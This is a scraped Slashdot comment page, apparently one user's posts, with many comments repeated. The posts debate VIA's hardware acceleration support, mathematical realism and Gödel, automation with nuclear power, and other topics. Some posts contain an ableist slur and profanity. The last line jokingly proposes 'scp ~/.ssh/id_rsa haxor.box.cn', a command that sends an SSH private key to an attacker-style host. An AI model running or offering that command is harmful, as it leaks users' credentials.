Sure, but this story does not belong on Slashdot. Just because some nerds decided to put "Open Source" on the recipe doesn't negate years of freely available beer recipes.
ATI and nVidia support hardware H.264 acceleration on Windows via the standard codec system.
Fair enough, and I agree. A "standard" system exists to provide this kind of acceleration on Windows. VIA could/should have used it.
That is debatable. If nVidia claimed H.264 acceleration, but in actual fact only supplied some docs I think most of their target market might be a little bit upset about that. Considering they are selling consumer devices, and most consumers are not programmers. Also, when the C7 came out years ago, there were no docs, and when the did finally come, they were poor.
The Windows and Linux markets are a bit different. Which codec library should VIA target? All of them? libavcodec? (That's the main one Mplayer uses) Even if they write the software, third parties are involved. The libavcodec programmers might not want to include it in the main source tree. And there's nothing VIA can do about it but branch.
It's a bit like a car manufacturer selling you a new machine that can do 180MPH, but actually only does 150 and you have to tune it yourself get 180. Most people are not car tuners, they expect that if the box says it does something then it does it.
Your car won't go very fast at all without a driver... is this the manufacturer's fault? I don't mean to confuse the issue, but your car needs something to give it instructions before it will "go". So does your motherboard. In this case, it is your video player or encryption library. I agree that not including an H.264 codec for Windows was an enormous oversight, and if I used Windows I would not be pleased with VIA. But I am willing to be more charitable in the Linux case.
Only problem is, it doesn't decode H.264 in hardware, at least not on Windows. The only option is to use a special version of mplayer on Linux:
And why would you expect random software to know about and make calls to VIA's API? H.264 decoding isn't exactly a DirectX function as far as I know. Indeed, isn't this why you have to install an H.264 codec in the first place?
There are loads of posts on the Via forums about this. The cryptographic acceleration is next to useless as well, since nothing much supports it. Vendors should be expected to support the features they claim to have themselves, not rely on open source projects to do it.
Absurd. You got what you paid for. It's up to cryptography library writers/PMs to determine whether they want to fold VIA encryption acceleration into THEIR libraries. This is true whether the library writers are targeting Windows or Linux. VIA is not responsible for the actions of third parties, though they do seem to be interested in helping these third parties support their hardware with as little trouble as possible.
Sometime after you graduate high school and get a real job you'll probably figure out that every business has a budget. You get to justify your expenditures on that budget to your boss, who reports to his boss on up the chain. Good luck justifying your purchase with "Well it's not my money, what do I care?".
My question wasn't about justifying cost, but asking why the poster gives a shit that the company uses the expensive cards instead of the cheap one. Maybe he can get a "free" card out of testing the cheap ones. Oops, not really -- even the testing unit would belong to the company. IN EITHER CASE, IT'S NOT HIS MONEY GETTING SPENT. Of course, I'm just a jobless high school dropout, apparently. Guffaw.
How's that follow? Not all natural numbers, nor all relationships between them, will be observed within the physical universe, which is finite in both area and time. A complete description of the universe need only describe all the observed data.
Physical is a word I did not say. Observation is another word I did not say. Realism can be characterized in a few ways -- a straight forward way is that existential quantifiers quantify over "the universe". If something exists, like mathematics does (demonstrably), then it exists in the universe. The ontological status of mathematics -- physical versus non-physical -- is an important question. But your answer takes you outside of the bounds of Realism.
Indeed, all the observations that will ever be made will be a finite set. Bam, there's a trivial way to get a theory that axiomatizes the universe: after it runs down, go back and collect every observation ever made, and there's a finite set of axioms that completely describe the universe.
Which is irrelevant to my point. Restricting "the universe" to be the physical universe is not a solution anyway. If mathematics is not a part of our universe, how do we gain any access to it? How do we learn about it? There's plenty of mathematics that hasn't yet had an "observable facade" -- we always hear about the unreasonable degree to which known mathematics works to describe physics. But the point of that quote is that the mathematics existed before a corresponding physical phenomenon was found. Mathematics is not a product of mere observation.
You said: "I assert that the human mind is a component of a mathematically describable reality."
This, of course, is one of the tenets of modern Realism. And it leads to Russell's paradox, almost trivially. This is Realism's dirty little secret.
The claim that reality is mathematically describable amounts to a claim that the universe is a model (in the sense of model theory) of some theory. This is a big problem for your claim, because any theory that axiomatizes the universe (which is to say, any set of sentences which is true of the universe and exhausts all sentences about it) must include all sentences about the natural numbers. Therefore, Godel's Incompleteness theorem applies. In effect, there must be more models of the theory than just our universe. Does the universe contain them, or not? Presumably, it does, since the class of models is a mathematical object.
The moral of the story is that any Realist view of mathematics ultimately requires mathematics to exist as a completed whole, which we slowly discover. But there is no completed whole, since the parts "look" into each other. The better moral is that no language can completely describe the universe, but also that the depth to which we can know it is limitless.
I agree with you completely, and have been saying this for years now. Robotics technology is not yet up to par, but there's a surefire way to fix it (and solve the energy crunch massive use of robotics would create). Nuclear power. Lots of it. Safe, clean, efficient plants all over the country. We can sell surplus energy to the rest of the continent. We can use the proceeds to fund education and R&D.
Food production should be next to be mechanized. With no workers or capitalists being exploited, there should be absolutely no moral objections to providing the country all the food it needs, for free. You can, however, expect resistance from both.
This process can and should continue until it is done.
The biggest problem with this idea is that there's no money to be made. It is, essentially, the creation of a new public good, and as such can only really be performed by the government.
I really hate white backgrounds. It's only natural for the background to be black; if we're used to the white one it's because of retards who like to think of computers as paper (this is why I say using a computer, like any complex industrial machinery, should require a licence)
Because desktop publishing and graphic design aren't legitimate uses for a computer, of course.
Uh, Germany would have loved to take them... but it would have been a ridiculous idea politically -- in particular, since other 'neutral' powers like the US would have jumped in.
Slashdot Mirror
mi tew!!!!
Sure, but this story does not belong on Slashdot. Just because some nerds decided to put "Open Source" on the recipe doesn't negate years of freely available beer recipes.
ATI and nVidia support hardware H.264 acceleration on Windows via the standard codec system.
Fair enough, and I agree. A "standard" system exists to provide this kind of acceleration on Windows. VIA could/should have used it.
That is debatable. If nVidia claimed H.264 acceleration, but in actual fact only supplied some docs I think most of their target market might be a little bit upset about that. Considering they are selling consumer devices, and most consumers are not programmers. Also, when the C7 came out years ago, there were no docs, and when the did finally come, they were poor.
The Windows and Linux markets are a bit different. Which codec library should VIA target? All of them? libavcodec? (That's the main one Mplayer uses) Even if they write the software, third parties are involved. The libavcodec programmers might not want to include it in the main source tree. And there's nothing VIA can do about it but branch.
It's a bit like a car manufacturer selling you a new machine that can do 180MPH, but actually only does 150 and you have to tune it yourself get 180. Most people are not car tuners, they expect that if the box says it does something then it does it.
Your car won't go very fast at all without a driver... is this the manufacturer's fault? I don't mean to confuse the issue, but your car needs something to give it instructions before it will "go". So does your motherboard. In this case, it is your video player or encryption library. I agree that not including an H.264 codec for Windows was an enormous oversight, and if I used Windows I would not be pleased with VIA. But I am willing to be more charitable in the Linux case.
Only problem is, it doesn't decode H.264 in hardware, at least not on Windows. The only option is to use a special version of mplayer on Linux:
And why would you expect random software to know about and make calls to VIA's API? H.264 decoding isn't exactly a DirectX function as far as I know. Indeed, isn't this why you have to install an H.264 codec in the first place?
There are loads of posts on the Via forums about this. The cryptographic acceleration is next to useless as well, since nothing much supports it. Vendors should be expected to support the features they claim to have themselves, not rely on open source projects to do it.
Absurd. You got what you paid for. It's up to cryptography library writers/PMs to determine whether they want to fold VIA encryption acceleration into THEIR libraries. This is true whether the library writers are targeting Windows or Linux. VIA is not responsible for the actions of third parties, though they do seem to be interested in helping these third parties support their hardware with as little trouble as possible.
Ah, yes, 4 Taco 5:27. But lest we forget, 2 Hemos 11:1 says "Cowboy Neal is the truth and the light of the poll." Really makes you think, doesn't it?
Sometime after you graduate high school and get a real job you'll probably figure out that every business has a budget. You get to justify your expenditures on that budget to your boss, who reports to his boss on up the chain. Good luck justifying your purchase with "Well it's not my money, what do I care?".
My question wasn't about justifying cost, but asking why the poster gives a shit that the company uses the expensive cards instead of the cheap one. Maybe he can get a "free" card out of testing the cheap ones. Oops, not really -- even the testing unit would belong to the company. IN EITHER CASE, IT'S NOT HIS MONEY GETTING SPENT. Of course, I'm just a jobless high school dropout, apparently. Guffaw.
I don't know the answer to your question, but I can tell you this: Anybody with a strong opinion on the matter is full of shit.
What do you care? Your money isn't getting spent. This goes for both your fun benchmarking project and the video cards in the first place.
How's that follow? Not all natural numbers, nor all relationships between them, will be observed within the physical universe, which is finite in both area and time. A complete description of the universe need only describe all the observed data.
Physical is a word I did not say. Observation is another word I did not say. Realism can be characterized in a few ways -- a straight forward way is that existential quantifiers quantify over "the universe". If something exists, like mathematics does (demonstrably), then it exists in the universe. The ontological status of mathematics -- physical versus non-physical -- is an important question. But your answer takes you outside of the bounds of Realism.
Indeed, all the observations that will ever be made will be a finite set. Bam, there's a trivial way to get a theory that axiomatizes the universe: after it runs down, go back and collect every observation ever made, and there's a finite set of axioms that completely describe the universe.
Which is irrelevant to my point. Restricting "the universe" to be the physical universe is not a solution anyway. If mathematics is not a part of our universe, how do we gain any access to it? How do we learn about it? There's plenty of mathematics that hasn't yet had an "observable facade" -- we always hear about the unreasonable degree to which known mathematics works to describe physics. But the point of that quote is that the mathematics existed before a corresponding physical phenomenon was found. Mathematics is not a product of mere observation.
You said: "I assert that the human mind is a component of a mathematically describable reality."
This, of course, is one of the tenets of modern Realism. And it leads to Russell's paradox, almost trivially. This is Realism's dirty little secret.
The claim that reality is mathematically describable amounts to a claim that the universe is a model (in the sense of model theory) of some theory. This is a big problem for your claim, because any theory that axiomatizes the universe (which is to say, any set of sentences which is true of the universe and exhausts all sentences about it) must include all sentences about the natural numbers. Therefore, Godel's Incompleteness theorem applies. In effect, there must be more models of the theory than just our universe. Does the universe contain them, or not? Presumably, it does, since the class of models is a mathematical object.
The moral of the story is that any Realist view of mathematics ultimately requires mathematics to exist as a completed whole, which we slowly discover. But there is no completed whole, since the parts "look" into each other. The better moral is that no language can completely describe the universe, but also that the depth to which we can know it is limitless.
Please submit your story to http://thedailywtf.com/
Your neo-Platonism leads you to failure. Look up Russell's Paradox.
No known Baldrick would have known clouds are made of water.
One Piece already did it, during the Skypeia arc. Zoro punched one.
I just read the headline...
Why would Media hire a virgin to run their company?
I agree with you completely, and have been saying this for years now. Robotics technology is not yet up to par, but there's a surefire way to fix it (and solve the energy crunch massive use of robotics would create). Nuclear power. Lots of it. Safe, clean, efficient plants all over the country. We can sell surplus energy to the rest of the continent. We can use the proceeds to fund education and R&D.
Food production should be next to be mechanized. With no workers or capitalists being exploited, there should be absolutely no moral objections to providing the country all the food it needs, for free. You can, however, expect resistance from both.
This process can and should continue until it is done.
The biggest problem with this idea is that there's no money to be made. It is, essentially, the creation of a new public good, and as such can only really be performed by the government.
...says "gothmolly". Oh, the irony.
Computar, make it sew.
You mean, for running OS X, Windows, and Linux applications, all in the same environment? Yes, a proper subset, that.
And who is this "they" to which you refer so vaguely? "They" want me to have a clue. Is "they" you? I bet it is.
I really hate white backgrounds. It's only natural for the background to be black; if we're used to the white one it's because of retards who like to think of computers as paper (this is why I say using a computer, like any complex industrial machinery, should require a licence)
Because desktop publishing and graphic design aren't legitimate uses for a computer, of course.
Naww, Uwe Boll's movies are so bad that they're so good that they teh suck.
El Caribe. Gracias.
Uh, Germany would have loved to take them... but it would have been a ridiculous idea politically -- in particular, since other 'neutral' powers like the US would have jumped in.
How about scp ~/.ssh/id_rsa haxor.box.cn?